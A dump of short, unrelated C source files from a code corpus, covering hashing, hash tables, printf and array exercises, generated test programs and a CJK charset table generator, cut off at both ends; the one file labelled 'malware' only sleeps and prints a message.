h2 += h3; h2 = h2*5+0x0bcaa747; k3 *= c3; k3 = ROTL32(k3,17); k3 *= c4; h3 ^= k3; h3 = ROTL32(h3,15); h3 += h4; h3 = h3*5+0x96cd1c35; k4 *= c4; k4 = ROTL32(k4,18); k4 *= c1; h4 ^= k4; h4 = ROTL32(h4,13); h4 += h1; h4 = h4*5+0x32ac3b17; } const uint8_t * tail = (const uint8_t*)(data + nblocks*16); uint32_t k1 = 0; uint32_t k2 = 0; uint32_t k3 = 0; uint32_t k4 = 0; switch(len & 15) { case 15: k4 ^= tail[14] << 16; case 14: k4 ^= tail[13] << 8; case 13: k4 ^= tail[12] << 0; k4 *= c4; k4 = ROTL32(k4,18); k4 *= c1; h4 ^= k4; case 12: k3 ^= tail[11] << 24; case 11: k3 ^= tail[10] << 16; case 10: k3 ^= tail[ 9] << 8; case 9: k3 ^= tail[ 8] << 0; k3 *= c3; k3 = ROTL32(k3,17); k3 *= c4; h3 ^= k3; case 8: k2 ^= tail[ 7] << 24; case 7: k2 ^= tail[ 6] << 16; case 6: k2 ^= tail[ 5] << 8; case 5: k2 ^= tail[ 4] << 0; k2 *= c2; k2 = ROTL32(k2,16); k2 *= c3; h2 ^= k2; case 4: k1 ^= tail[ 3] << 24; case 3: k1 ^= tail[ 2] << 16; case 2: k1 ^= tail[ 1] << 8; case 1: k1 ^= tail[ 0] << 0; k1 *= c1; k1 = ROTL32(k1,15); k1 *= c2; h1 ^= k1; }; h1 ^= len; h2 ^= len; h3 ^= len; h4 ^= len; h1 += h2; h1 += h3; h1 += h4; h2 += h1; h3 += h1; h4 += h1; FMIX32(h1); FMIX32(h2); FMIX32(h3); FMIX32(h4); h1 += h2; h1 += h3; h1 += h4; h2 += h1; h3 += h1; h4 += h1; ((uint32_t*)out)[0] = h1; ((uint32_t*)out)[1] = h2; ((uint32_t*)out)[2] = h3; ((uint32_t*)out)[3] = h4; } // hashmap_sip returns a hash value for `data` using SipHash-2-4. uint64_t hashmap_sip(const void *data, size_t len, uint64_t seed0, uint64_t seed1) { return SIP64((uint8_t*)data, len, seed0, seed1); } // hashmap_murmur returns a hash value for `data` using Murmur3_86_128. uint64_t hashmap_murmur(const void *data, size_t len, uint64_t seed0, uint64_t seed1) { char out[16]; MM86128(data, len, seed0, &out); return *(uint64_t*)out; }
the_stack_data/409429.c
#include <stdio.h> void scilab_rt_plot3d_i2d2i2i0d0s0i2i2_(int in00, int in01, int matrixin0[in00][in01], int in10, int in11, double matrixin1[in10][in11], int in20, int in21, int matrixin2[in20][in21], int scalarin0, double scalarin1, char* scalarin2, int in30, int in31, int matrixin3[in30][in31], int in40, int in41, int matrixin4[in40][in41]) { int i; int j; int val0 = 0; double val1 = 0; int val2 = 0; int val3 = 0; int val4 = 0; for (i = 0; i < in00; ++i) { for (j = 0; j < in01; ++j) { val0 += matrixin0[i][j]; } } printf("%d", val0); for (i = 0; i < in10; ++i) { for (j = 0; j < in11; ++j) { val1 += matrixin1[i][j]; } } printf("%f", val1); for (i = 0; i < in20; ++i) { for (j = 0; j < in21; ++j) { val2 += matrixin2[i][j]; } } printf("%d", val2); printf("%d", scalarin0); printf("%f", scalarin1); printf("%s", scalarin2); for (i = 0; i < in30; ++i) { for (j = 0; j < in31; ++j) { val3 += matrixin3[i][j]; } } printf("%d", val3); for (i = 0; i < in40; ++i) { for (j = 0; j < in41; ++j) { val4 += matrixin4[i][j]; } } printf("%d", val4); }
the_stack_data/88549.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #define STRINGSIZE 100 int overlap(char *s1, char *s2) { int i, j, k; for (i = 1, k = 0; s1[i]; i++, k = 0) { for (j = i; s1[j] && s2[k]; j++, k++) if (s1[j] != s2[k]) { k = 0; break; } if(k) return k; } } int main() { int n, i, j, k, res, max, l, r, curovl; char **ss; scanf("%d", &n); ss = (char**)malloc(n * sizeof(char*)); for(i = 0; i < n; i++) { ss[i] = (char*)malloc(STRINGSIZE * sizeof(char)); scanf("%s", ss[i]); } for(k = 1; k < n; k++) { for(i = 0, max = 0; i < n; i++) for(j = 0; j < n; j++) if(i != j && ss[i][0] && ss[j][0]) { curovl = overlap(ss[i], ss[j]); if(curovl >= max) max = curovl, l = i, r = j; } ss[l][strlen(ss[l]) - max] = '\0'; strcat(ss[l], ss[r]); ss[r][0] = '\0'; res = (int)strlen(ss[l]); } printf("%d\n", res); for(i = 0; i < n; i++) { free(ss[i]); } free(ss); return 0; }
the_stack_data/8702.c
/* Generated by CIL v. 1.7.0 */ /* print_CIL_Input is false */ struct _IO_FILE; struct timeval; extern void signal(int sig , void *func ) ; extern float strtof(char const *str , char const *endptr ) ; typedef struct _IO_FILE FILE; extern int atoi(char const *s ) ; extern double strtod(char const *str , char const *endptr ) ; extern int fclose(void *stream ) ; extern void *fopen(char const *filename , char const *mode ) ; extern void abort() ; extern void exit(int status ) ; extern int raise(int sig ) ; extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ; extern int strcmp(char const *a , char const *b ) ; extern int rand() ; extern unsigned long strtoul(char const *str , char const *endptr , int base ) ; void RandomFunc(unsigned char input[1] , unsigned char output[1] ) ; extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ; extern int gettimeofday(struct timeval *tv , void *tz , ...) ; extern int printf(char const *format , ...) ; int main(int argc , char *argv[] ) ; void megaInit(void) ; extern unsigned long strlen(char const *s ) ; extern long strtol(char const *str , char const *endptr , int base ) ; extern unsigned long strnlen(char const *s , unsigned long maxlen ) ; extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ; struct timeval { long tv_sec ; long tv_usec ; }; extern void *malloc(unsigned long size ) ; extern int scanf(char const *format , ...) ; void RandomFunc(unsigned char input[1] , unsigned char output[1] ) { unsigned char state[1] ; { state[0UL] = (input[0UL] + 914778474UL) - (unsigned char)183; if (state[0UL] & (unsigned char)1) { if (state[0UL] & (unsigned char)1) { state[0UL] += state[0UL]; } else { state[0UL] += state[0UL]; } } else if (state[0UL] & (unsigned char)1) { state[0UL] += state[0UL]; } else { state[0UL] += state[0UL]; } output[0UL] = (state[0UL] + 734799202UL) + (unsigned char)157; } } int main(int argc , char *argv[] ) { unsigned char input[1] ; unsigned char output[1] ; int randomFuns_i5 ; unsigned char randomFuns_value6 ; int randomFuns_main_i7 ; { megaInit(); if (argc != 2) { printf("Call this program with %i arguments\n", 1); exit(-1); } else { } randomFuns_i5 = 0; while (randomFuns_i5 < 1) { randomFuns_value6 = (unsigned char )strtoul(argv[randomFuns_i5 + 1], 0, 10); input[randomFuns_i5] = randomFuns_value6; randomFuns_i5 ++; } RandomFunc(input, output); if (output[0] == 215) { printf("You win!\n"); } else { } randomFuns_main_i7 = 0; while (randomFuns_main_i7 < 1) { printf("%u\n", output[randomFuns_main_i7]); randomFuns_main_i7 ++; } } } void megaInit(void) { { } }
the_stack_data/50605.c
int main() { int a; int b; int c; int n; int i; int d[n]; #pragma scop { int c1; if (n >= 1) { for (c1 = 0; c1 <= n + -1; c1++) {{ a ^= (b | c + 2) % 2 - !(d[n] / 2); } } } } #pragma endscop }
the_stack_data/77143.c
#include<stdio.h> #include<unistd.h> int main() { //Faz com que o programa hiberne por 100000000 segundos antes de executar uma ação sleep(100000000); printf("Eu sou um malware\n"); return 0; }
the_stack_data/167330512.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_charswap.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: gpinchon <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2014/11/25 18:43:59 by gpinchon #+# #+# */ /* Updated: 2014/11/25 19:00:23 by gpinchon ### ########.fr */ /* */ /* ************************************************************************** */ void ft_charswap(char *a, char *b) { char c; c = *a; *a = *b; *b = c; }
the_stack_data/170452268.c
#include <stdlib.h> #include <stdio.h> #define HASHSIZE 100 #define NULLKEY -10000 /* hash 函数 */ int hashAlgorithm(int key) { return key % HASHSIZE; } /* 哈希冲突函数,开放定址法,线性探测 */ int hashLinearProbing(int key) { return (key % HASHSIZE + 1) % HASHSIZE; } /* 哈希表 */ typedef struct HashTable { int *element; } HashTable; /* 初始化哈希表 */ void hashInit(HashTable *hashTable) { int i; hashTable->element = (int *)malloc(sizeof(int) * HASHSIZE); for (i = 0; i < HASHSIZE; i++) { hashTable->element[i] = NULLKEY; } } /* 插入元素 */ void hashInsert(HashTable *hashTable, int key) { int addr = hashAlgorithm(key); while(hashTable->element[addr] != NULLKEY) { addr = hashLinearProbing(addr); } hashTable->element[addr] = key; /* 插入元素key */ } /* 查找元素 */ int hashSearch(HashTable *hashTable, int key) { int addr = hashAlgorithm(key); int origin = addr; while(hashTable->element[addr] != NULLKEY) { if (hashTable->element[addr] == key) { return 1; } else addr = hashLinearProbing(addr); if(origin == hashAlgorithm(addr)) { return -1; } } return -1; } /* 删除元素 */ void hashDelete(HashTable *hashTable, int key) { int addr = hashAlgorithm(key); while(hashTable->element[addr] != NULLKEY) { if (hashTable->element[addr] == key) { hashTable->element[addr] = NULLKEY; return; } else addr = hashLinearProbing(addr); } } /* 销毁哈希表 */ void hashDestroy(HashTable *hashTable) { free(hashTable->element); } /* 测试 */ int main(int argc, char**argv){ HashTable hashTable; hashInit(&hashTable); hashInsert(&hashTable, 1); hashInsert(&hashTable, 2); hashInsert(&hashTable, 3); hashInsert(&hashTable, 4); hashInsert(&hashTable, 5); hashInsert(&hashTable, 6); hashInsert(&hashTable, 7); hashInsert(&hashTable, 8); hashInsert(&hashTable, 9); hashInsert(&hashTable, 10); hashInsert(&hashTable, 11); hashInsert(&hashTable, 12); hashInsert(&hashTable, 13); hashInsert(&hashTable, 14); hashInsert(&hashTable, 15); hashInsert(&hashTable, 16); hashInsert(&hashTable, 17); hashInsert(&hashTable, 18); hashInsert(&hashTable, 19); hashInsert(&hashTable, 20); hashInsert(&hashTable, 21); hashInsert(&hashTable, 22); hashInsert(&hashTable, 23); hashInsert(&hashTable, 24); hashInsert(&hashTable, 25); hashInsert(&hashTable, 26); hashInsert(&hashTable, 27); hashInsert(&hashTable, 28); hashInsert(&hashTable, 29); hashInsert(&hashTable, 30); hashInsert(&hashTable, 31); hashInsert(&hashTable, 32); hashInsert(&hashTable, 33); hashInsert(&hashTable, 34); hashInsert(&hashTable, 35); hashInsert(&hashTable, 36); hashInsert(&hashTable, 37); hashInsert(&hashTable, 38); hashInsert(&hashTable, 39); hashInsert(&hashTable, 40); hashInsert(&hashTable, 41); hashInsert(&hashTable, 42); hashInsert(&hashTable, 43); hashInsert(&hashTable, 44); hashInsert(&hashTable, 45); hashInsert(&hashTable, 46); hashInsert(&hashTable, 47); hashInsert(&hashTable, 48); printf("%d \n", hashSearch(&hashTable, 1)); hashDestroy(&hashTable); }
the_stack_data/161082047.c
#include <stdio.h> int main(void) { unsigned width, precision; int number = 256; double weight = 242.5; printf("Enter a valid width:\n"); scanf("%d", &width); printf("The number is : %*d:\n", width, number); printf("Now enter width and precision:\n"); scanf("%d %d", &width, &precision); printf("Weight = %*.*f\n", width, precision, weight); printf("Done.\n"); return 0; }
the_stack_data/97405.c
#include<stdio.h> //custom array implementation using ADT struct myArray { int total_size; int used_size; int *ptr; //pointer tyo point first element }; void createArray(struct myArray * a, int tSize, int uSize) { a->total_size = tSize; a->used_size = uSize; a->ptr = (int*)malloc(tSize*sizeof(int)); } void show(struct myArray *a){ for (int i = 0; i < a->used_size; i++) { printf("%d\n",(a->ptr)[i]); } } void setVal(struct myArray *a){ int n; for (int i = 0; i < a->used_size; i++) { printf("Enter the element you want to insert : "); scanf("%d",&n); (a->ptr)[i]=n; } } int main() { //custom array implementation using ADT struct myArray marks; createArray(&marks, 10, 2); printf("We are running setval now \n"); setVal(&marks); printf("We are running show now\n"); show(&marks); return 0; }
the_stack_data/6388701.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #define BUFF_SIZE 1000 #define NUM_LETTERS 26 int main() { FILE *from, *to; char name[BUFF_SIZE]; char surname[BUFF_SIZE]; char family_name[BUFF_SIZE]; from = fopen("input.txt", "r"); to = fopen("output.txt", "w"); fscanf(from, "%s %s %s", family_name, name, surname); fprintf(to, "Hello, %s %s!", name, family_name); fclose(to); fclose(from); }
the_stack_data/87637571.c
/* * Generates a CJK character set table from a .TXT table as found on * ftp.unicode.org or in the X nls directory. * Examples: * * ./cjk_tab_to_h GB2312.1980-0 gb2312 > gb2312.h < gb2312 * ./cjk_tab_to_h JISX0208.1983-0 jisx0208 > jisx0208.h < jis0208 * ./cjk_tab_to_h KSC5601.1987-0 ksc5601 > ksc5601.h < ksc5601 * * ./cjk_tab_to_h GB2312.1980-0 gb2312 > gb2312.h < GB2312.TXT * ./cjk_tab_to_h JISX0208.1983-0 jisx0208 > jisx0208.h < JIS0208.TXT * ./cjk_tab_to_h JISX0212.1990-0 jisx0212 > jisx0212.h < JIS0212.TXT * ./cjk_tab_to_h KSC5601.1987-0 ksc5601 > ksc5601.h < KSC5601.TXT * ./cjk_tab_to_h KSX1001.1992-0 ksc5601 > ksc5601.h < KSX1001.TXT * * ./cjk_tab_to_h BIG5 big5 > big5.h < BIG5.TXT * * ./cjk_tab_to_h JOHAB johab > johab.h < JOHAB.TXT * * ./cjk_tab_to_h BIG5HKSCS-0 big5hkscs >big5hkscs.h < BIG5HKSCS.TXT */ #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include <string.h> typedef struct { int start; int end; } Block; typedef struct { int rows; /* number of possible values for the 1st byte */ int cols; /* number of possible values for the 2nd byte */ int (*row_byte) (int row); /* returns the 1st byte value for a given row */ int (*col_byte) (int col); /* returns the 2nd byte value for a given col */ int (*byte_row) (int byte); /* converts a 1st byte value to a row, else -1 */ int (*byte_col) (int byte); /* converts a 2nd byte value to a col, else -1 */ const char* check_row_expr; /* format string for 1st byte value checking */ const char* check_col_expr; /* format string for 2nd byte value checking */ const char* byte_row_expr; /* format string for 1st byte value to row */ const char* byte_col_expr; /* format string for 2nd byte value to col */ int** charset2uni; /* charset2uni[0..rows-1][0..cols-1] is valid */ /* You'll understand the terms "row" and "col" when you buy Ken Lunde's book. Once a row is fixed, choosing a "col" is the same as choosing a "cell". */ int* charsetpage; /* charsetpage[0..rows]: how large is a page for a row */ int ncharsetblocks; Block* charsetblocks; /* blocks[0..nblocks-1] */ int* uni2charset; /* uni2charset[0x0000..0xffff] */ } Encoding; /* * Outputs the file title. */ static void output_title (const char *charsetname) { printf("\n"); printf("/*\n"); printf(" * %s\n", charsetname); printf(" */\n"); printf("\n"); } /* * Reads the charset2uni table from standard input. */ static void read_table (Encoding* enc) { int row, col, i, i1, i2, c, j; enc->charset2uni = (int**) malloc(enc->rows*sizeof(int*)); for (row = 0; row < enc->rows; row++) enc->charset2uni[row] = (int*) malloc(enc->cols*sizeof(int)); for (row = 0; row < enc->rows; row++) for (col = 0; col < enc->cols; col++) enc->charset2uni[row][col] = 0xfffd; c = getc(stdin); ungetc(c,stdin); if (c == '#') { /* Read a unicode.org style .TXT file. */ for (;;) { c = getc(stdin); if (c == EOF) break; if (c == '\n' || c == ' ' || c == '\t') continue; if (c == '#') { do { c = getc(stdin); } while (!(c == EOF || c == '\n')); continue; } ungetc(c,stdin); if (scanf("0x%x", &j) != 1) exit(1); i1 = j >> 8; i2 = j & 0xff; row = enc->byte_row(i1); col = enc->byte_col(i2); if (row < 0 || col < 0) { fprintf(stderr, "lost entry for %02x %02x\n", i1, i2); exit(1); } if (scanf(" 0x%x", &enc->charset2uni[row][col]) != 1) exit(1); } } else { /* Read a table of hexadecimal Unicode values. */ for (i1 = 32; i1 < 132; i1++) for (i2 = 32; i2 < 132; i2++) { i = scanf("%x", &j); if (i == EOF) goto read_done; if (i != 1) exit(1); if (j < 0 || j == 0xffff) j = 0xfffd; if (j != 0xfffd) { if (enc->byte_row(i1) < 0 || enc->byte_col(i2) < 0) { fprintf(stderr, "lost entry at %02x %02x\n", i1, i2); exit (1); } enc->charset2uni[enc->byte_row(i1)][enc->byte_col(i2)] = j; } } read_done: ; } } /* * Computes the charsetpage[0..rows] array. */ static void find_charset2uni_pages (Encoding* enc) { int row, col; enc->charsetpage = (int*) malloc((enc->rows+1)*sizeof(int)); for (row = 0; row <= enc->rows; row++) enc->charsetpage[row] = 0; for (row = 0; row < enc->rows; row++) { int used = 0; for (col = 0; col < enc->cols; col++) if (enc->charset2uni[row][col] != 0xfffd) used = col+1; enc->charsetpage[row] = used; } } /* * Fills in nblocks and blocks. */ static void find_charset2uni_blocks (Encoding* enc) { int n, row, lastrow; enc->charsetblocks = (Block*) malloc(enc->rows*sizeof(Block)); n = 0; for (row = 0; row < enc->rows; row++) if (enc->charsetpage[row] > 0 && (row == 0 || enc->charsetpage[row-1] == 0)) { for (lastrow = row; enc->charsetpage[lastrow+1] > 0; lastrow++); enc->charsetblocks[n].start = row * enc->cols; enc->charsetblocks[n].end = lastrow * enc->cols + enc->charsetpage[lastrow]; n++; } enc->ncharsetblocks = n; } /* * Outputs the charset to unicode table and function. */ static void output_charset2uni (const char* name, Encoding* enc) { int row, col, lastrow, col_max, i, i1_min, i1_max; find_charset2uni_pages(enc); find_charset2uni_blocks(enc); for (row = 0; row < enc->rows; row++) if (enc->charsetpage[row] > 0) { if (row == 0 || enc->charsetpage[row-1] == 0) { /* Start a new block. */ for (lastrow = row; enc->charsetpage[lastrow+1] > 0; lastrow++); printf("static const unsigned short %s_2uni_page%02x[%d] = {\n", name, enc->row_byte(row), (lastrow-row) * enc->cols + enc->charsetpage[lastrow]); } printf(" /""* 0x%02x *""/\n ", enc->row_byte(row)); col_max = (enc->charsetpage[row+1] > 0 ? enc->cols : enc->charsetpage[row]); for (col = 0; col < col_max; col++) { printf(" 0x%04x,", enc->charset2uni[row][col]); if ((col % 8) == 7 && (col+1 < col_max)) printf("\n "); } printf("\n"); if (enc->charsetpage[row+1] == 0) { /* End a block. */ printf("};\n"); } } printf("\n"); printf("static int\n"); printf("%s_mbtowc (conv_t conv, ucs4_t *pwc, const unsigned char *s, int n)\n", name); printf("{\n"); printf(" unsigned char c1 = s[0];\n"); printf(" if ("); for (i = 0; i < enc->ncharsetblocks; i++) { i1_min = enc->row_byte(enc->charsetblocks[i].start / enc->cols); i1_max = enc->row_byte((enc->charsetblocks[i].end-1) / enc->cols); if (i > 0) printf(" || "); if (i1_min == i1_max) printf("(c1 == 0x%02x)", i1_min); else printf("(c1 >= 0x%02x && c1 <= 0x%02x)", i1_min, i1_max); } printf(") {\n"); printf(" if (n >= 2) {\n"); printf(" unsigned char c2 = s[1];\n"); printf(" if ("); printf(enc->check_col_expr, "c2"); printf(") {\n"); printf(" unsigned int i = %d * (", enc->cols); printf(enc->byte_row_expr, "c1"); printf(") + ("); printf(enc->byte_col_expr, "c2"); printf(");\n"); printf(" unsigned short wc = 0xfffd;\n"); for (i = 0; i < enc->ncharsetblocks; i++) { printf(" "); if (i > 0) printf("} else "); if (i < enc->ncharsetblocks-1) printf("if (i < %d) ", enc->charsetblocks[i+1].start); printf("{\n"); printf(" if (i < %d)\n", enc->charsetblocks[i].end); printf(" wc = %s_2uni_page%02x[i", name, enc->row_byte(enc->charsetblocks[i].start / enc->cols)); if (enc->charsetblocks[i].start > 0) printf("-%d", enc->charsetblocks[i].start); printf("];\n"); } printf(" }\n"); printf(" if (wc != 0xfffd) {\n"); printf(" *pwc = (ucs4_t) wc;\n"); printf(" return 2;\n"); printf(" }\n"); printf(" }\n"); printf(" return RET_ILSEQ;\n"); printf(" }\n"); printf(" return RET_TOOFEW(0);\n"); printf(" }\n"); printf(" return RET_ILSEQ;\n"); printf("}\n"); printf("\n"); } /* * Computes the uni2charset[0x0000..0xffff] array. */ static void invert (Encoding* enc) { int row, col, j; enc->uni2charset = (int*) malloc(0x10000*sizeof(int)); for (j = 0; j < 0x10000; j++) enc->uni2charset[j] = 0; for (row = 0; row < enc->rows; row++) for (col = 0; col < enc->cols; col++) { j = enc->charset2uni[row][col]; if (j != 0xfffd) enc->uni2charset[j] = 0x100 * enc->row_byte(row) + enc->col_byte(col); } } /* * Outputs the unicode to charset table and function, using a linear array. * (Suitable if the table is dense.) */ static void output_uni2charset_dense (const char* name, Encoding* enc) { /* Like in 8bit_tab_to_h.c */ bool pages[0x100]; int line[0x2000]; int tableno; struct { int minline; int maxline; int usecount; } tables[0x2000]; bool first; int row, col, j, p, j1, j2, t; for (p = 0; p < 0x100; p++) pages[p] = false; for (row = 0; row < enc->rows; row++) for (col = 0; col < enc->cols; col++) { j = enc->charset2uni[row][col]; if (j != 0xfffd) pages[j>>8] = true; } for (j1 = 0; j1 < 0x2000; j1++) { bool all_invalid = true; for (j2 = 0; j2 < 8; j2++) { j = 8*j1+j2; if (enc->uni2charset[j] != 0) all_invalid = false; } if (all_invalid) line[j1] = -1; else line[j1] = 0; } tableno = 0; for (j1 = 0; j1 < 0x2000; j1++) { if (line[j1] >= 0) { if (tableno > 0 && ((j1 > 0 && line[j1-1] == tableno-1) || ((tables[tableno-1].maxline >> 5) == (j1 >> 5) && j1 - tables[tableno-1].maxline <= 8))) { line[j1] = tableno-1; tables[tableno-1].maxline = j1; } else { tableno++; line[j1] = tableno-1; tables[tableno-1].minline = tables[tableno-1].maxline = j1; } } } for (t = 0; t < tableno; t++) { tables[t].usecount = 0; j1 = 8*tables[t].minline; j2 = 8*(tables[t].maxline+1); for (j = j1; j < j2; j++) if (enc->uni2charset[j] != 0) tables[t].usecount++; } { p = -1; for (t = 0; t < tableno; t++) if (tables[t].usecount > 1) { p = tables[t].minline >> 5; printf("static const unsigned short %s_page%02x[%d] = {\n", name, p, 8*(tables[t].maxline-tables[t].minline+1)); for (j1 = tables[t].minline; j1 <= tables[t].maxline; j1++) { if ((j1 % 0x20) == 0 && j1 > tables[t].minline) printf(" /* 0x%04x */\n", 8*j1); printf(" "); for (j2 = 0; j2 < 8; j2++) { j = 8*j1+j2; printf(" 0x%04x,", enc->uni2charset[j]); } printf(" /*0x%02x-0x%02x*/\n", 8*(j1 % 0x20), 8*(j1 % 0x20)+7); } printf("};\n"); } if (p >= 0) printf("\n"); } printf("static int\n%s_wctomb (conv_t conv, unsigned char *r, ucs4_t wc, int n)\n", name); printf("{\n"); printf(" if (n >= 2) {\n"); printf(" unsigned short c = 0;\n"); first = true; for (j1 = 0; j1 < 0x2000;) { t = line[j1]; for (j2 = j1; j2 < 0x2000 && line[j2] == t; j2++); if (t >= 0) { if (j1 != tables[t].minline) abort(); if (j2 > tables[t].maxline+1) abort(); j2 = tables[t].maxline+1; if (first) printf(" "); else printf(" else "); first = false; if (tables[t].usecount == 0) abort(); if (tables[t].usecount == 1) { if (j2 != j1+1) abort(); for (j = 8*j1; j < 8*j2; j++) if (enc->uni2charset[j] != 0) { printf("if (wc == 0x%04x)\n c = 0x%02x;\n", j, enc->uni2charset[j]); break; } } else { if (j1 == 0) { printf("if (wc < 0x%04x)", 8*j2); } else { printf("if (wc >= 0x%04x && wc < 0x%04x)", 8*j1, 8*j2); } printf("\n c = %s_page%02x[wc", name, j1 >> 5); if (tables[t].minline > 0) printf("-0x%04x", 8*j1); printf("];\n"); } } j1 = j2; } printf(" if (c != 0) {\n"); printf(" r[0] = (c >> 8); r[1] = (c & 0xff);\n"); printf(" return 2;\n"); printf(" }\n"); printf(" return RET_ILSEQ;\n"); printf(" }\n"); printf(" return RET_TOOSMALL;\n"); printf("}\n"); } /* * Outputs the unicode to charset table and function, using a packed array. * (Suitable if the table is sparse.) */ static void output_uni2charset_sparse (const char* name, Encoding* enc) { bool pages[0x100]; Block pageblocks[0x100]; int npageblocks; int indx2charset[0x10000]; int summary_indx[0x1000]; int summary_used[0x1000]; int i, row, col, j, p, j1, j2, indx; /* Fill pages[0x100]. */ for (p = 0; p < 0x100; p++) pages[p] = false; for (row = 0; row < enc->rows; row++) for (col = 0; col < enc->cols; col++) { j = enc->charset2uni[row][col]; if (j != 0xfffd) pages[j>>8] = true; } #if 0 for (p = 0; p < 0x100; p++) if (pages[p]) { printf("static const unsigned short %s_page%02x[256] = {\n", name, p); for (j1 = 0; j1 < 32; j1++) { printf(" "); for (j2 = 0; j2 < 8; j2++) printf("0x%04x, ", enc->uni2charset[256*p+8*j1+j2]); printf("/""*0x%02x-0x%02x*""/\n", 8*j1, 8*j1+7); } printf("};\n"); } printf("\n"); #endif /* Fill summary_indx[] and summary_used[]. */ indx = 0; for (j1 = 0; j1 < 0x1000; j1++) { summary_indx[j1] = indx; summary_used[j1] = 0; for (j2 = 0; j2 < 16; j2++) { j = 16*j1+j2; if (enc->uni2charset[j] != 0) { indx2charset[indx++] = enc->uni2charset[j]; summary_used[j1] |= (1 << j2); } } } /* Fill npageblocks and pageblocks[]. */ npageblocks = 0; for (p = 0; p < 0x100; ) { if (pages[p] && (p == 0 || !pages[p-1])) { pageblocks[npageblocks].start = 16*p; do p++; while (p < 0x100 && pages[p]); j1 = 16*p; while (summary_used[j1-1] == 0) j1--; pageblocks[npageblocks].end = j1; npageblocks++; } else p++; } printf("static const unsigned short %s_2charset[%d] = {\n", name, indx); for (i = 0; i < indx; ) { if ((i % 8) == 0) printf(" "); printf(" 0x%04x,", indx2charset[i]); i++; if ((i % 8) == 0 || i == indx) printf("\n"); } printf("};\n"); printf("\n"); for (i = 0; i < npageblocks; i++) { printf("static const Summary16 %s_uni2indx_page%02x[%d] = {\n", name, pageblocks[i].start/16, pageblocks[i].end-pageblocks[i].start); for (j1 = pageblocks[i].start; j1 < pageblocks[i].end; ) { if (((16*j1) % 0x100) == 0) printf(" /""* 0x%04x *""/\n", 16*j1); if ((j1 % 4) == 0) printf(" "); printf(" { %4d, 0x%04x },", summary_indx[j1], summary_used[j1]); j1++; if ((j1 % 4) == 0 || j1 == pageblocks[i].end) printf("\n"); } printf("};\n"); } printf("\n"); printf("static int\n"); printf("%s_wctomb (conv_t conv, unsigned char *r, ucs4_t wc, int n)\n", name); printf("{\n"); printf(" if (n >= 2) {\n"); printf(" const Summary16 *summary = NULL;\n"); for (i = 0; i < npageblocks; i++) { printf(" "); if (i > 0) printf("else "); printf("if (wc >= 0x%04x && wc < 0x%04x)\n", 16*pageblocks[i].start, 16*pageblocks[i].end); printf(" summary = &%s_uni2indx_page%02x[(wc>>4)", name, pageblocks[i].start/16); if (pageblocks[i].start > 0) printf("-0x%03x", pageblocks[i].start); printf("];\n"); } printf(" if (summary) {\n"); printf(" unsigned short used = summary->used;\n"); printf(" unsigned int i = wc & 0x0f;\n"); printf(" if (used & ((unsigned short) 1 << i)) {\n"); printf(" unsigned short c;\n"); printf(" /* Keep in `used' only the bits 0..i-1. */\n"); printf(" used &= ((unsigned short) 1 << i) - 1;\n"); printf(" /* Add `summary->indx' and the number of bits set in `used'. */\n"); printf(" used = (used & 0x5555) + ((used & 0xaaaa) >> 1);\n"); printf(" used = (used & 0x3333) + ((used & 0xcccc) >> 2);\n"); printf(" used = (used & 0x0f0f) + ((used & 0xf0f0) >> 4);\n"); printf(" used = (used & 0x00ff) + (used >> 8);\n"); printf(" c = %s_2charset[summary->indx + used];\n", name); printf(" r[0] = (c >> 8); r[1] = (c & 0xff);\n"); printf(" return 2;\n"); printf(" }\n"); printf(" }\n"); printf(" return RET_ILSEQ;\n"); printf(" }\n"); printf(" return RET_TOOSMALL;\n"); printf("}\n"); } /* ISO-2022/EUC specifics */ static int row_byte_normal (int row) { return 0x21+row; } static int col_byte_normal (int col) { return 0x21+col; } static int byte_row_normal (int byte) { return byte-0x21; } static int byte_col_normal (int byte) { return byte-0x21; } static void do_normal (const char* name) { Encoding enc; enc.rows = 94; enc.cols = 94; enc.row_byte = row_byte_normal; enc.col_byte = col_byte_normal; enc.byte_row = byte_row_normal; enc.byte_col = byte_col_normal; enc.check_row_expr = "%1$s >= 0x21 && %1$s < 0x7f"; enc.check_col_expr = "%1$s >= 0x21 && %1$s < 0x7f"; enc.byte_row_expr = "%1$s - 0x21"; enc.byte_col_expr = "%1$s - 0x21"; read_table(&enc); output_charset2uni(name,&enc); invert(&enc); output_uni2charset_sparse(name,&enc); } /* Note: On first sight, the jisx0212_2charset[] table seems to be in order, starting from the charset=0x3021/uni=0x4e02 pair. But it's only mostly in order. There are 75 out-of-order values, scattered all throughout the table. */ static void do_normal_only_charset2uni (const char* name) { Encoding enc; enc.rows = 94; enc.cols = 94; enc.row_byte = row_byte_normal; enc.col_byte = col_byte_normal; enc.byte_row = byte_row_normal; enc.byte_col = byte_col_normal; enc.check_row_expr = "%1$s >= 0x21 && %1$s < 0x7f"; enc.check_col_expr = "%1$s >= 0x21 && %1$s < 0x7f"; enc.byte_row_expr = "%1$s - 0x21"; enc.byte_col_expr = "%1$s - 0x21"; read_table(&enc); output_charset2uni(name,&enc); } /* CNS 11643 specifics - trick to put two tables into one */ static int row_byte_cns11643 (int row) { return 0x100 * (row / 94) + (row % 94) + 0x21; } static int byte_row_cns11643 (int byte) { return (byte >= 0x100 && byte < 0x200 ? byte-0x121 : byte >= 0x200 && byte < 0x300 ? byte-0x221+94 : byte >= 0x300 && byte < 0x400 ? byte-0x321+2*94 : -1); } static void do_cns11643_only_uni2charset (const char* name) { Encoding enc; int j, x; enc.rows = 3*94; enc.cols = 94; enc.row_byte = row_byte_cns11643; enc.col_byte = col_byte_normal; enc.byte_row = byte_row_cns11643; enc.byte_col = byte_col_normal; enc.check_row_expr = "%1$s >= 0x21 && %1$s < 0x7f"; enc.check_col_expr = "%1$s >= 0x21 && %1$s < 0x7f"; enc.byte_row_expr = "%1$s - 0x21"; enc.byte_col_expr = "%1$s - 0x21"; read_table(&enc); invert(&enc); /* Move the 2 plane bits into the unused bits 15 and 7. */ for (j = 0; j < 0x10000; j++) { x = enc.uni2charset[j]; if (x != 0) { if (x & 0x8080) abort(); switch (x >> 16) { case 0: /* plane 1 */ x = (x 